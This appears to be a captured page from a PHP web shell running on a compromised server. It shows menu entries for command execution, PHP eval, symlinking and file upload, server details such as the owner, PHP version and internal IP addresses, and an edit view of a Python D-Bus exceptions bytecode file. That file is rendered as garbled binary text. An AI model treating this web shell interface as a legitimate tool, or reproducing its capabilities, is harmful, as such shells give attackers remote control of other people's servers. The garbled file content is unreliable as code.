Home Files
Adminer
Execute Command
PHP Eval
Symlink
File Upload
Owner :
www-data
PHP Version
8.1.8
Disk Space
12.61 GB
Server Addr
171.9.3.2
Your IP
171.9.3.1
Edit File
File:
U ��K^c � @ s� d Z dZddlmZ G dd� de�ZG dd� de�ZG dd � d e�ZG d d� de�ZG dd � d e�Z G dd� de�Z G dd� de�ZdS )zD-Bus exceptions.)� DBusException�MissingErrorHandlerException�MissingReplyHandlerException�ValidationException�IntrospectionParserException�UnknownMethodException�NameExistsException� )�is_py3c @ s8 e Zd ZdZdd� Zdd� Zdd� Zdd � Zd d� ZdS ) r Fc O sX |� dd �}|d k s$t| dd �d kr*|| _|rDtdd�|�� � ��tj| f|�� d S )N�name�_dbus_error_namez1DBusException does not take keyword arguments: %sz, )�pop�getattrr � TypeError�join�keys� Exception�__init__)�self�args�kwargsr � r �1/usr/lib/python3/dist-packages/dbus/exceptions.pyr / s �zDBusException.__init__c C sF t | j�dkrt| j�}nd�| j�}| jdk r>d| j|f S |S dS )zReturn a unicode error� � N�%s: %s)�lenr �unicoder r �r �sr r r �__unicode__8 s zDBusException.__unicode__c C s* t �| �}| jdk r"d| j|f S |S dS )zReturn a str errorNr )r �__str__r r r r r r F s zDBusException.__str__c C sP t | j�dkr*trt| j�}q6t| j�}nd�| j�}t|t�rL|�dd�S |S )Nr r zutf-8�replace) r r r �strr r � isinstance�bytes�decoder r r r �get_dbus_messageN s zDBusException.get_dbus_messagec C s | j S )N)r �r r r r � get_dbus_name\ s zDBusException.get_dbus_nameN) �__name__� __module__�__qualname__�include_tracebackr r r r&